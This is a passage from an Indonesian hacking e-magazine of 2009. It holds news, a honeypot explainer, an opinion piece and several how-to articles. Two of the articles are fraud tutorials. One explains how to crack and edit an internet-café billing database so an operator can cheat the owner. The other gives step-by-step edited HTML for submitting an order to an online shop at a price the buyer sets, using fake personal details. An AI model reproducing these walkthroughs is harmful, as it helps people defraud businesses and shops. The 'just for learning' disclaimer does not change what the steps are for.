You are on page 1of 71

Hacking Billing Explorer – Hal 9

Remote SQL Injection – Hal 26

AddOns Mozilla Made Easy – Hal 33

Trojan UnDetected AV – Hal 38

PhpMyAdmin Vulnerablity – Hal 47

Blind SQL Injection – Hal 59

Hackers-Center Indonesia – www.hackers-center.org

Seluruh isi yang ada di HC eMagazine adalah sepenuhnya milik penulis, HC hanya
sebagai media berbagi ilmu dan HC Magazine ini dapat di download dengan
GRATIS dan boleh menyebarluaskan dengan bebas dengan tujuan Non-Profit!
- 1- HC eMagazine – Spirit # 02

HC eMagazine
HC eMagazine..?
HC eMagazine adalah majalah elektronik komputer, internet, hacking dan coding
berbahasa Indonesia yang dibuat oleh staff dan member HC dengan format PDF.

Latar Belakang HC eMagazine :


Makin banyaknya kebutuhan akan informasi dunia teknologi komputer dan internet
membuat HC menjadikan komunitas baru di dunia internet yang menyediakan bahan
referensi dalam dunia cyber khususnya hacking sehingga para pecinta internet tidak
tertinggal informasi.

Tujuan :
Share and Learning adalah moto HC dengan tujuan semua orang dapat berbagi ilmu
dan belajar dari ilmu yang didapat. Serta memberikan pencerahan terhadap dunia
Teknologi Informasi khususnya Hacking dan Security.

Misi :
Menyebarkan ilmu-ilmu komputer, internet dan hacking untuk tujuan Positif hanya
untuk pengetahuan dan tidak untuk disalahgunakan.

Hak Cipta :
Seluruh isi yang ada di HC eMagazine adalah sepenuhnya milik penulis, HC hanya
sebagai media berbagi ilmu dan HC Magazine ini dapat di download dengan GRATIS
dan boleh menyebarluaskan dengan bebas dengan tujuan Non-Profit.

Distribusi HC Magazine :
- HC Magazine Dapat di download secara resmi di www.hackers-center.org
- Website staff dan member HC
- Serta media-media pendukung yang bekerjasama dengan HC

Contact HC Magazine :
- Administrator (admin@hackers-center.org)
- ciebal (ciebal745@gmail.com)

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 2- HC eMagazine – Spirit # 02

» Editorial Administrator
 NeckLord
Hacking is Not a Crime  UnderDOS
 Viper
Bermula dari diskusi kecil di forum HC dilanjutkan  Nobita HC
dengan ide dari kontributor kami pass_word, rasanya
seperti mimpi akhirnya HC eMagazine Vol. 02 ini bisa Moderator
kami selesaikan. Disela-sela kesibukan kami di dunia  Ramz
nyata walaupun dengan sedikit keterlambatan terbit  ArminVanBuuren
tapi kami mencoba berusaha untuk tetap  Equal
memberikan yang terbaik untuk member serta  Jackzard
pembaca HC eMagazine.  Kotaro
 Spiderman
Tujuan dibuatnya majalah elektronik ini bukan semata-mata untuk  ciebal
mengajarkan orang untuk berbuat kriminal tapi memberikan pencerahan  nicx
bahwa segala sesuatu yang di anggap tidak mungkin menjadi sangat Contributor
mungkin untuk dilakukan oleh hacker. Ilmu pengetahuan yang kami bahas  metropolix
disini, mungkin bisa berbahaya bagi anda tapi juga sangat berguna bagi anda  root
untuk menghindari segala macam serangan-serangan berbahaya di dunia  agitama
maya yang bisa berdampak pada kehidupan nyata.  pass_word
 4L13N
Di dalam edisi kedua ini, banyak sekali masalah-masalah yang kami bahas.  general_nagabonar
Anda bisa melihat tehnik-tehnik para hacker dalam melakukan penelitian HC eMagazine Writer
kelemahan situs, mencoba meneliti kelemahan software, bagaimana  ciebal
membuat sebuah trojan sederhana yang bisa berdampak cukup serius pada  Coco_Nk4l
system komputer kita, mengintip password dalam jaringan. Selain yang telah  Tenro
disebutkan, masih banyak lagi artikel-artikel lainnya yang sangat menarik  kecoaqu
untuk diikuti seperti cracking, blind SQL Injection, Networking dan lain  Cybernet
sebagainya.  root
 NeckLord
Akhir kata, saya harapkan majalan elektronik ini bisa digunakan untuk anda  eminem
dan tentu saja masih banyak kekurangan yang mesti diperbaiki. Oleh karena  omicron9194
itu kami sangat mengharapkan saran maupun kritik para pembaca dengan Contact
menghubungi saya secara langsung ataupun menghubungi redaksi HC  Kirim Artikel
eMagazine. ciebal745@gmail.com
 Kritik dan Saran
admin@hackers-center.org
Regards,
Download HC eMagazine
 www.hackers-center.org
 forum.hackers-center.org
ciebal  All Supported Us
email@ciebal.web.id

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 3- HC eMagazine – Spirit # 02

/Dir
 Hot News - Waspada! ATM Mulai disusupi Malware– hal.4
 Do You Know..? – Apa Honeypots itu..? – hal.5
 Opini Pembaca – Tamatkah Dunia Underground Indonesia..? – hal.6
 Hacking Billing Explorer – Hacking Billing Explorer Database All Version– hal.9
 IP Forwading – Setting IP Public – hal. 12
 Trik Mencurangi Toko Online – Trik Mencurangi Toko Online – hal. 15
 YM Invisible Checker – Cek Status YM – hal. 24
 Remote SQL Injection Exploit – SQL Injection pada PHPRecipeBook 2.39 – hal. 26
 Add Ons Mozilla Made Easy – Cara Mudah dan Cepat Membuat Toolbar Browser– hal. 33
 Trojan UnDetected AV Membuat Trojan Sederhana – hal.38
 Antena ASTRO Holic – Antena ASTRO Holic – hal.43
 PhpMyAdmin Vulnerability – Getting Windows Shell with phpMyAdmin – hal.47
 Sniffing Jaringan with Cain & Abel – Mengintip Password Orang dalam Jaringan– hal.53
 Blind Injection – Exploit Web with Blind SQL Injection – hal.59
 Hack Shortcut Mozilla – Menjahili Orang dengan Shortcut Mozilla – hal.62
 Dummy Text MS Word 2007 – Karakter Rahasia pada Microsoft Word 2007 – hal.65
 HC eMagazine Writer – Ketentuan Menjadi Penulis HC eMagazine
 Lampiran – Serba-Serbi HC eMagazine

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 4- HC eMagazine – Spirit # 02

» Hot News
Berita Seputar Teknologi Informasi

Present By : Redaksi HC eMagazine

Waspada! ATM Mulai disusupi Malware

Jakarta - Waspadalah jika akan transaksi di ATM. Malware atau


program jahat telah menyusupi ATM. Program itu bisa digunakan
untuk mencuri rekening, serta nomor PIN. Bahkan bisa menguras
habis isi mesin ATM.

Sekitar 20 ATM sudah berhasil dibobol pejahat, kebanyakan berada


di Rusia dan Ukraina. Nicholas Percoco, wakil presiden SpiderLabs
di Trustwave yang menyediakan keamanan data dan pembayaraan
kartu kredit mengungkapkan indikasi awal menunjukkan serangan
serupa telah terjadi berbagai negara termasuk di AS. Program jahat itu kemungkinan besar ditanam oleh orang
dalam, baik pegawai bank, produsen ATM atau perusahaan yang melakukan perawatan mesin ATM. Percoco
mengatakan hal itu karena program jahat itu harus diinstall secara manual.

ATM yang diserang semuanya menggunakan sistem operasi Windows XP dan disamarkan sebagai Windows
protected storage service yang sah. Program jahat itu bisa mencatat semua data yang diproses oleh ATM.
Meskipun PIN disandikan, tapi penjahat bisa menyadap kunci pembukanya dan bisa digunakan untuk membuka
PIN itu. Jika malware sudah berhasil bersembunyi di ATM selama beberapa waktu, penjahat bisa kembali ke
ATM itu dan menggunakan kartu khusus untuk mengambil alih ATM.

Penjahat bisa mencuri rekening, termasuk memerintah ATM untuk mengeluarkan seluruh uang kas nya. "Ada
bukti kartu seperti itu telah digunakan," katanya. Malware pertama kali diketahui telah diinstall di ATM pada
Juli 2007. Meskipun program jahat harus diinstall secara manual ke ATM, tapi pejahat tidak akan berhenti
sampai di situ. Di masa mendatang, program jahat bisa disebar dengan mudah menggunakan jaringan ATM.

Lalu bagaimana melindungi dari kejahatan seperti ini? "Konsumen sebaiknya menghindari ATM yang
kelihatannya tidak beroperasi dengan baik," kata Percoco sambil mencontohkan hal itu bisa dilihat dari layar
yang memiliki interface berbeda atau ada perintah yang aneh.

Penjahat juga bisa menggunakan teknik skimmers dengan memasang perangkat khusus di lubang dimana kartu
ATM dimasukkan. Perangkat ini bisa mencuri data, sementara PIN direkam menggunakan kamera tersembunyi.
Sering kali transaksi ATM bisa berlangsung secara normal dan konsumen tidak menyadari rekeningnya telah
diambil alih. Salah satu pelaku skimming ini telah ditangkap. Skimmer ATM Turki bernama Chao menunjukkan
cara perampokan bank dengan cara modern itu bisa dilakukan. Skimming mulai muncul di Afrika Selatan sejak
2004 dan menyebar ke seluruh dunia termasuk AS.

Sumber : www.inilah.com

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 5- HC eMagazine – Spirit # 02

» Do You Know..?
Sebaiknya Anda Tau..

Present By : Redaksi HC eMagazine

Apa Honeypots itu..?


Pada dasarnya honeypots adalah suatu alat untuk mendapatkan informasi tentang
penyerang. Selanjutnya administrator jaringan dapat mempelajari aktifitas-aktifitas yang
dapat merugikan dan melihat kecenderungan dari aktifitas tersebut. Honeypots adalah
sebuah sistem yang dirancang untuk diperiksa dan diserang.Ada dua kategori honeypots :

Production honeypot, digunakan untuk mengurangi resiko serangan pada sistem


keamanan jaringan informasi dalam sebuah organisasi.

Reasearch honeypots, digunakan untuk medapatkan informasi sebanyak mungkin tentang penyerang sehingga
seorang administrator dapat mempelajari informasi tersebut.

Beberapa kalangan memperdebatkan apakah benar honeypots menambah nilai pada suatu sistem keamanan
jaringan informasi. Salahsatu cara untuk mencobanya adalah dengan cara melihat dari berapa lama honeypots
memberikan waktu pada administrator untuk bereaksi sejak saat serangan itu masuk, sehingga seorang
administrator dapat melindungi jaringan produktifnya. Jika dalam 15-20 menit, maka honeypots tersebut akan
mempunyai nilai tambah. Informasi penyerang yang sudah dipelajari juga akan memberikan nilai tambah pada
sistem kemanan jaringan, karena sebuah serangan balasan yang tepat akan dapat dibuat untuk pertahanan
terhadap serangan baru tersebut. Honeypots tidak memerlukan suatu penempatan tertentu pada jaringan
karena dia adalah sebuah server standar tanpa kebutuhan khusus. Honeypots dapat ditempatkan dimana saja
seperti sebuah server akan ditempatkan. Tetapi akan lebih baik jika diletakkan pada tempat yang mudah
dijangkau oleh orang orang tertentu. Honeypots dapat digunakan pada internet maupun intranet, Penempatan
honeypots pada intranet dapat berguna untuk mendeteksi seorang penyreang yang berada di jaringan internal.
Jika fokus utama pada internet, honeypots dapat diletakkan pada dua lokasi:

Di depan firewall (internet)

DMZ8

Di belakang firewall (internet)Setiap penempatan mempunyai kelebihan dan kekurangnnya. Kadang tidak
mungkinuntuk sebuah server di depan firewall.

Honeypot yang didistribusikan pada sebuah network (honeynet) dapat membentuk detektor yang akurat
kecuali faktor harga (terutama hardware dan admistration costs) menjadi faktor penghalang
diimplementasikannya honeynet. -Red

Referensi : ID-SIRTII (www.id-sirtii.or.id)

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 6- HC eMagazine – Spirit # 02

» Opini Pembaca
Tamatkah Dunia Underground Indonesia..?

Present By : Omicron9194

Sedikit Omicron mengambil kutipan dari idsecconf 2008 kemarin mengenai nasib dunia underground
Indonesia. How ?

Sejenak kita renungkan dunia underground Indonesia.Dunia yang melahirkan para jagoan dunia maya
khususnya di bidang keamanan cyber , sekarang ini dalam kondisi tidak menentu.Keprihatinan ini terjadi di
seluruh belahan dunia yang di perjelas oleh Duvel dengan artikel A brief history of the Underground scene .

Mungkin agak sedikit ekstrim atau mungkin sangat ekstrim dengan judul seperti itu. Tapi inilah
kenyataannya. Dunia Underground Indonesia sekarang ini sedang mengalami degradasi yang cukup serius.
Keprihatinan yang mendalam adalah kemunculan generasi-generasi yang lebih berorientasi kepada materi dan
publikasi dibanding dengan kemurnian berorganisasi,berdiskusi dan berbagi ilmu pengetahuan. Ditandai
dengan semakin sepinya dunia IRC yang merupakan salah satu tempat diskusi dunia maya, serta conference
yang semakin nge-junk jauh dari materi pembelajaran.

Seiring perkembangan waktu,juga timbul regenerasi baru di dunia cyber. Tetapi coba kita lihat
pendatang baru sekarang. Mereka terlalu manja, tidak mau berusaha keras dan gampang menyerah. Sejak
adanya google pada tahun 2003 yang belum ditemukan sebelumnya. Serta banyak lagi tutor-tutor bahasa
Indonesia yang “berserakan” di dunia maya.

Kemunduran dunia underground juga di perlihatkan dengan adanya aksi pen-deface-an situs dalam
negeri. Akhir-akhir ini kian marak aksi deface negeri sendiri. Tidak tahu motif apa sebenarnya dari aksi deface
tersebut. Yang sangat memalukan sekaligus memilukan adalah mereka yang meninggalkan jejak setelah
beraksi. Inikah dunia underground Indonesia sekarang ?

Mungkin ini lah yang Omicron sampaikan. Regenerasi di dunia cyber sekarang hanyalah berorientasi
kepada materi dan publikasi saja. Ya,tidak lain adalah mereka yang hanya untuk mencari ketenaran belaka.
Akhir-akhir ini sering sekali kita lihat aksi deface, tidak tahu itu teman atau lawan.

Forum Cyberdos.org misalnya, 21 Mei 2009 kemarin forum itu di deface oleh sesama teman dunia
bawah tanah. Apa yang menyebabkan aksi itu ? Ya, jawabannya hanyalah ke-egoisan yang mempunyai ilmu.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 7- HC eMagazine – Spirit # 02

Mereka merasa dirinya lah yang lebih dari semuanya.Maksud dan tujuannya pun tidak jelas.Mereka hanyalah
seorang kiddies bahkan lebih rendah dari itu!

Inikah salah satu yang menyebabkan kemunduran dunia underground di Indonesia ? Mungkin
iya.Mereka para defacer lupa akan siapa yang telah mengajarinya,yang telah membuat mereka menjadi
“begini” , lupa bahwa dia dahulu siapa,dan sekarang mereka telah bisa berbuat apa.Mereka seakan kacang lupa
pada kulitnya.

Dunia underground Indonesia sekarang tidak seperti dulu lagi.Seiring perkembangan waktu dan
teknologi telah melahirkan orang-orang penting di dunia cyber.

Haruskah kita juga menjadi kiddies? Ataukah kita mematuhi etika yang ada ?

|omicron9194|

Redaksi HC eMagazine menyediakan halaman khusus untuk opini yang dibuat oleh penulis Setia HC
eMagazine Vol 1 dan 2 yaitu omicron9194 sebagai apresiasi terhadap perkembangan dunia underground
indonesia. Terimakasih atas partisipasinya. Berikut ini adalah Biodata penulis :

--Specification
A.k.a : omicron9194
Age : Nineteen
Origin : Bengkulu, Indonesia
Location : Bandung, Indonesia
http://d1gdo.com
http://omicron9194.nnce.web.id
Interest : Hacking 'n Security
Programming 'n Networking
Algorithm 'n Artificial Intelligence
Work : University Student
Computers : # "Wizz4rd" AMD Sempron 3000 , 512MB, 2 HDD 80 GB + 20GB, with XP Prof Ops Sys
# "Aurencia a.k.a Felt" Asus F3E Core2Duo , 1.5GB , 120GB , with XP Prof ,
Ubuntu Intrepid Ibex Ops Sys
Member of : Echo , NNCE Team! , Hackers-Center
--Favorite

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 8- HC eMagazine – Spirit # 02

Food : Sambel buatan Ibu , Lenggang , Bakso , MpekMpek , Lontong , Mie Ayam , Nasi Goreng , Rujak
Drink : H2O , Susu , Es Jeruk
Movies : Action , Imagination
Books : AlQuran , All About Islamic , All About Information of Technology
Game : I'm not Gamer
--Quote
"Hasbunallah wani'mal waqiill..."
--I want to be...
Elite Hacker...
--Shoutz 'n Greetz
# Allah SWT
# Rasulullah SAW 'n My Lovely Family
# |NNCE Staff | : Lintah_Cyber,Cyber*Z_Camel,Romeo,Gembel_cyber,Goblin,TripleZix
# Echo,NNCE Team!,Hackers-Center,All Underground Community
# xpyrcker , ketek , unsuprise , Juniorsev3n , k3m4n9i , vYc0d , ciebal , ch1km0nk , etc ....
# My Friends, I'm nothing without you

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 9- HC eMagazine – Spirit # 02

Hacking Billing Explorer


Hacking Billing Explorer Database All Version
Writer : Coco_nk4l (kyo2_2004@yahoo.com)

Kalian pasti dah gak asing lagi dengan namanya Billing explorer, Billing
yg kebanyakan di gunakan oleh para pemilik warnet, Billing Ini mampu
menyimpan semua hasil transaksi dan semua konfigurasinya di sebuah
file yang berekstensikan *.008 ( 008 file ) nah mungkin gak gw doank yg
punya fikiran file ini sebenernya file apaan c??? ternyata setelah di
obok2 file tersebut adalah File database yg diubah ekstensi aslinya
mnjadi *.008. disini gw bakalan coba kasih tau gimana cara bacanya tapi
jangan punya harapan untuk bisa membaca password Admin dolo
karena gw lom sempat nemuin cara tersebut, Trik ini mungkin sangat berharga buat para Operator warnet yg
menggunakan Billing ini dan ingin melakukan sedikit kecurangan tetapi tidak di beri tau password admin pada
billing (Seperti yg di alami Kakak gw). Oke gw kira cukup basa-basi kita .

Yang musti loe lakuin adalah buka lokasi dimana software billing di install contoh : “D:\Billing\Billing explorer\”
Lihat disana bakal ada file ber ekstensi *.008

Disana loe bakal nemuin file bernama bill01.008 (lihat tanda panah) sebelumnya copy dulu file tersebut untuk
menghindari hal yang gak di inginkan lalu ubah ekstensi dari bill01.008 menjadi bill01.mdb setelah di ubah
ekstensinya coba loe buka file tersebut apakah bisa di buka??

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 10- HC eMagazine – Spirit # 02

Ternyata File bill01.mdb di lock untuk bisa membukanya, pake Advance Office Password Recovery ( Silahkan
kalian googling ) kalo udah silahkan di crack password dari File bil01.mdb dan yang akan kita dapetin sepert
gambar dibawah ini

Pada gambar diatas terlihat password file ternyata berantakan masih berupa code2 yg aneh, tapi gak usah
takut yg kita butuhin hanya password itu untuk membuka dan mengedit file tersebut jadi copy aja

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 11- HC eMagazine – Spirit # 02

passwordnya dgan click icon 2 kertas di samping password dan masukan password ketika di minta untuk
memasukan password pada saat kita buka file bill01.mdb, setalh itu coba open database…dan masuk pada
table2 yang sekiranya ingin kalian ubah,

Setelah selese di edit save kembali dan kembalikan format ke semula menjadi bill01.008 dan gantikan file asli
dengan file hasil editan kita .

Catatan :

Pada saat menggantikan file bill01.008 yg asli dengan file hasil editan kita, pastikan billing server dalam
keadaan non aktif.

Salam

Coco A.K.A Nk4l

 Hackers-Center  Balikita  Yogyafree  HD Team 

| UnderDos | MetroPolix | R00t | Niko A.K.A Biadabz | AK-47| GT-5|

|inc0mp13te | X-shadow | Jeje | Ramz | Agitama | Gorontalo Defacer |

| Indonesian Coder | Cukdu$ Crew | Tuban Hackerlink | Deantique |

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 12- HC eMagazine – Spirit # 02

IP Forwading
Setting IP Public
Writer : kecoaqu (arul_fresh@yahoo.com)

Langsung aje ya…

Pengertian IP Publik itu adalah IP yang dikenali di internet. Jumlahnya sangat


terbatas. Kemarin gw mencoba membuka Ip porwading untuk membuka ip public
yang di tutup oleh sebuah providerny, gunanya membuka itu gw maksudkan untuk
supaya IP tersebut dapat diakses dari luar kantor dan juga kebutuhan system gw
juga yang dibuat oleh kantor gw supaya dapat diakses dari luar kantor. Sebenarnya
sangat riskan klo IP itu di buka karena dangan sangat mudah jika seorang Hack
yang tau, walau pun harus menembus beberapa pengaman dulu. (padahal gw juga ga tau caranya gmn, xixixi)

Langsung aje yach disini gw menggunakan Prolink berhubung jebol kena petir jadi gw ganti lagi pake Aztech !!!

1. kalian bisa buka internet lalu masuk ke get way provider yang dipakai…disini gw pakai speedy
http://192.168.1.1. lalu login sesuai dengan yang diberikan oleh bawaan modem, itu juga klo belum
diganti.

2. jika sudah berhasil kalian bisa cari menu Port Forwading

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 13- HC eMagazine – Spirit # 02

3. Jika sudah terbuka menu Port Forwading. Kalian pilih Category – User – tambahkan New rules sesuai
kebutuhan kalian disini kebutuhan saya untuk SQL server lalu di Add.
Lalu pastikan LAN IP sudah dipastikan hanya computer itu yang bisa diakses oleh kita nantinya
biasanya itu sebuah server.

Belum sampai disitu kalian juga harus setting bagian Custom Port Forwading.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 14- HC eMagazine – Spirit # 02

Dimenu ini ada setting sesuai IP Compie yang ingin di akses dan juga PORT berapa yang ingin dibuka. Klo
gw memakai SQL SERVER 2000 tetepi harus di Upgrade dulu menjadi SP4 karna PORT yang gw pakai tidak
support dengan SQL SERVER 2000 standrat. Klo sudah selesai lalu submit.

4. jika sudah selesai Save Setting lalu Resset & Rebot. Klo mau tes berhasil atau tidak bisa di tes Di
alamat Http://canyouseeme.com
Gampang kan ( padahal mumet banget gw settingnya ) apalagi ga semua modem yang support dengan Port
Forwading....

gw berhasil juga karena hasil sharing dengan Under-Dos, Password sama Root…!!!

Sory klo ga begitu jelas menjelaskannya dan masih banyak kesalahan-kesalahan….

Thank’s

Kecoaqu / Arul

arul_fresh@yahoo.com

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 15- HC eMagazine – Spirit # 02

Trik Mencurangi Toko Online


Trik Mencurangi Toko Online

Writer : Tenro

Pertama-tama gw makasih banget sama momod, contributor dll HC yang udah mau
nerbitin artikel pertama w, he...he..;-).Muph sebelumnya kalo artikel gw cupu, artikel ini
gw bikin atas dasar kemampuan ekonomi keluarga gw yang belum bersedia ngebeliin gw
laptop hiks...hiks ;-(. Semoga setelah gw bikin artikel ni ada donatur yang bersedia
ngebeliin w laptop he..he..he... (ngarep).

Segitu ajah basa-basinya nti malah jadi basi lagi. Gw mau share ma kalian tentang trik cara mencurangi
toko online dengan merubah harganya, kalini kita gag perlu nyari-nyari tuch kutu di web yang jelas-jelas itu
akan makan waktu n ribet (menurut gw) n yang lum bisa carding (kaya gw) ni alternatif laen, tapi pengetik tidak
bertanggung jawab yah... JUST 4 LEARN.

Mari kita mulai operasinya....

Preparation:

1. kompi pastinya (kalo bisa n di anjurkan bisa akses inet jadi gag ribet)
2. notepad or frontpage (sekedar saran mending make frontpage)
3. lagu-lagunya kungpow (WAJIB)
4. cemilan (di anjurkan beli keripik singkong)
dah segitu aja persiapan nya, sedikit kan.....

oh iya lupa sebelom mulai pastikan anda ke kamar kecil dulu biar gag ribet nantinya.....

Mulai triknya....

1. kita cari target kita di tong sampah kalo gag ketemu kita tanya google. Karena w lagi pengen laptop maka
keyword w “laptop”.... Wew w dapet banyak bgt, tapi w Cuma milih satu ajah yaitu:

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 16- HC eMagazine – Spirit # 02

Yah ketauan w sering buka FB he...he...he...

2. kalo udah nemu, kita amati web itu dolo.

Q: apa yang di amati????

A: pertanyaan bagus, yang kita amati bagaimana cara kita order laptop itu.

Udah belom??? Jangan lama-lama...

3. kalo udah mari kita cari mana yang mw kita order,

trus kita pura-pura order barangnya,

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 17- HC eMagazine – Spirit # 02

pas di checkout ternyata dia minta kita harus jadi member n ngasih data-data kita.

wah gawat..., untung punya banyak koleksi e-mail+no Hp+alamat jadi selamat. So ikuti aja maunya.....

4. mulai dari sini w saranin kalian make kaca mata deh or cuci muka cos bakal pegel bgt (kalo yang belum
terbiasa kaya w). Kita ambil source code-nya saat kita udah login soalnya kalo belom login kita akan semakin
ribet. Trus save dengan ekstensi *.html. w ngambil source codenya pas disini

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 18- HC eMagazine – Spirit # 02

5. nah abis itu kita jalanin source code itu dari HD kita. Saran mending make frontpage biar keliatan
visualisasinya (bagi yang belum terbiasa liat coding). Tapi karena w gag punya n males download w make
notpad ajah. Kita amati codenya+terjemah kan n w dapet hal yang keren

<a href=product.php?id=5389 class=linkmenu>Netbook Asus Eee PC 1000HE</a>


</td>
<td align="right">
<input class=inputcart type=text maxlength=3 size=3 name=jumlah[122688] value=1>
</td>
<td align="right">
Rp
</td>
<td align="right">

7,740,000.00
</td>
<td align="right">
Rp
</td>
<td align="right">
7,740,000.00
</td>
</tr>
<tr><td colspan=7 align=right><b>Total Rupiah:</b></td><td align=right>7,740,000.00</td></tr>
Kode di atas merupakan data dari barang yang kita order

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 19- HC eMagazine – Spirit # 02

Ket: Pink: nama barang yang kita order, Merah: harganya

</table>
<br><br>
<div align="center">
<input type="submit" class=button name="Submit3" value="Delete" onclick="javascript:gohapus()">
<input type="submit" class=button name="Submit" value="Back" onclick="javascript:gokembali()">
<input type="submit" class=button name="Submit" value="Recalculate" />
<input type="submit" class=button name="Submit2" value="Check Out" onclick="javascript:gobayar()">
</div>
</form>

Kode di atas adalah perintah untuk memanggil script

Ket: Biru: kata-kata yang ada di kotak, Hijau: script yang di panggil ketika kita mengklik kata-kata warna biru

Nah itu kode yang paling penting, sekarang tinggal edit ajah, edit yang warna merah dengan harga yang anda
inginkan, tapi masih ada masalah kalo kita klik “check out” kok malah error, kenapa hayo????

INGAT kalo kita ngeklik tulisan warna biru tanpa sadar kita memanggil tulisan warna Hijau, jadi kita juga harus
ngedit yang Hijau cara ngeditnya kita cari javascriptnya “gobayar”. Setelah dicari akhirnya dapet

function gobayar()
{ document.f1.action = "shoppingcartout.php";
document.f1.submit();

</script>
<form name=f1 method=post action=shoppingcart.php>
<input type=hidden name=act value=hitung>

itu dia codingnya. Sekarang di apain???

Sekarang ganti tulisan yang warnanya orange. Ganti make apa???? Emang itulisan itu artinya apa???

Tulisan itu artinya, kalo kita klik tulisan yang warnanya biru tadi maka kita akan pergi ke halaman itu, nah
gantinya kita harus ganti jadi http://target.com/page yang dituju selanjutnya.php (itu di ambil dari URL kalo
kita ngeklik “check out”)

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 20- HC eMagazine – Spirit # 02

6. Kalo udah di edit semua jadinya begini codingnya

function gobayar()
{ document.f1.action = "http://target.com/shipping.php";
document.f1.submit();
}
</script>
<form name=f1 method=post action=http://target.com/shipping.php>
<input type=hidden name=act value=hitung>
<TABLE class=content>
<tr>
<td class="home-judul">Keranjang Belanja
</td>
<tr>
<td><br>
<table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor=#e0e0e0 class=alttext1
style="border-top: 1px dotted #0; border-bottom: 1px dotted #0;">
<tr bgcolor=#CDCDCD height=23>
<td width=25>&nbsp;</td>
<td width=25><strong>No</strong></td>
<td><strong>Item</strong></td>
<td><div align="right"><strong>Qty</strong></div></td>
<td>&nbsp;</td>

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 21- HC eMagazine – Spirit # 02

<td width=75><div align="right"><strong>Price</strong></div></td>


<td>&nbsp;</td>
<td width=75 style="padding: 3px;"><div align="right"><strong>Subtotal</strong></div></td>
</tr>

<tr height=25>
<td>
<input type="checkbox" name="checkbox[127947]" value="checkbox" />
</td>
<td align=right style="padding-right: 10px;">
1
</td>
<td>
<a href=product.php?id=1975 class=linkmenu>Netbook Asus Eee PC S101H</a>
</td>
<td align="right">
<input class=inputcart type=text maxlength=3 size=3 name=jumlah[127947] value=1>
</td>
<td align="right">
Rp
</td>
<td align="right">
1,000.00
</td>
<td align="right">
Rp
</td>
<td align="right">
1,000.00
</td>
</tr>
<tr><td colspan=7 align=right><b>Total Rupiah:</b></td><td align=right>1,000.00</td></tr>
</table>
<br><br>
<div align="center">
<input type="submit" class=button name="Submit3" value="Delete" onclick="javascript:gohapus()">
<input type="submit" class=button name="Submit" value="Back" onclick="javascript:gokembali()">
<input type="submit" class=button name="Submit" value="Recalculate" />
<input type="submit" class=button name="Submit2" value="Check Out" onclick="javascript:gobayar()">
</div>
</form>
</td>
</tr>
</table>

7. lalu save pekarjaan anda trus tinggal di jalankan lagi pada HD anda Maka jadinya akan begini

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 22- HC eMagazine – Spirit # 02

Liat yang di lingkarin harganya udah sesuai dengan yang kita inginkankan????

Trus pas kita klik check out maka tulisan itu akan membawa kita pergi ke web yang sesungguhnya.....

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 23- HC eMagazine – Spirit # 02

Selesai dah....

Gimana gampang kan????

Kalo ada pertanyaan kita bahas di forum okeh....

Sikian dulu ah, ngantuk....

/nick: Tenro

/lokasi: dari UKI naek 56 turun di cileungsi nah dari situ telpon eightTailz ajah minta di anterin ke rumah w.

/YM: Rizal hakuya

/web: tinggal nyewa domain doang

/avatar: i dont have avatar (entah mengapa w gag bisa make avatar)

Thx to:-ALLAH SWT yg udah ngasih w kesempatan buat hidup

-My parents yg udah berjasa bgt bagi w

-Ade w Alif yang ngajarin w coding n maen kompi

-My lovely Azizah yang selalu nyemangatin w

-EightTailz yang udah menjerumus kan w ke dunia Hacking

-S’to thx 4 u’r artikel

-All undergruond forum

-My milist bawahtanah_sii@yahoogroups.com (tapi lagi fakum sebagian besar membernya lagi ngerjain
PLO, semangat guys)

-My friends phantom aka toke aka Chaer newbie, em32, R 324 fm, Iis aka Via, om Galih, Om kiwil, Om
dwi n all yang gag bisa w sebutin satu-satu

- -My comp Intel celeron, HDD 20GB, RAM DDR1 128+256, Mobo Asus, OS win7 (jangan ditiru orang
bodoh ini)

-Warnet yang selalu w jahilin muph gag sengaja bis BT w

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 24- HC eMagazine – Spirit # 02

YM Invisible Checker
Cek Status YM

Writer : Cybernet (Cybernethc@yahoo.com)

Ym adalah sarana chating tapi tidak kelihatan, sedang Online memang sedang
yang mendunia zaman tidak Online xixixixixixixi .. ..
sekarang ini . Di app Ym kita
Next ……………………..
bisa Chat,Kirim File Terima
File,Berwebcam ria,Sharing Hhhmmmmmppp .. .. ..
sesame umat. hehehehe
….dll . Sssssssstttt !! ada sebuah website nih yang biasa
digunakan untuk mengecek status Ym.hehehehe .
Kadang – kadang sebagian ID teman di Ym kita
mengganti status dengan Invies sehingga kita tidak Langkah² nya sebagai berikut :
bisa melihat dia oL or ga.”jadi bijimana kita bisa liat
1.Buka Web http://Vizgin.com Tampilan Utama
dia Online tapi invies atau bener² ga Online”??

Tenang ada Cara mudah untuk memecahkannya


.hehehe ..

Gambar dibawah .

2.Terus Masukin Id dari YM yang ingin kita ketahui


statusnya,Contoh : ingin mengetahui id YM :
Gambar diatas adalah status² pada Ym dan juga kita Kutang_hansip sedang offline ataukah invisible,
bisa buat sendiri.pasti udah pada taukan apa maksud seperti gambar
gambar di atas.hehehe . . .
di bawah :
Nah ada status yg sangat mengesalkan.hehe .”
Invisible to Everyone”menunjukan seseorang sedang
Online tetapi tidak terlihat Online oleh kita . Status
Invisible hampir sama dengan status Offline. Hanya
bedanya invisible itu user online

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 25- HC eMagazine – Spirit # 02

Silahkan masukin Id YM baru secara langsung dan kita


bisa lihat setatus dari YM yang kita inginkan sangat
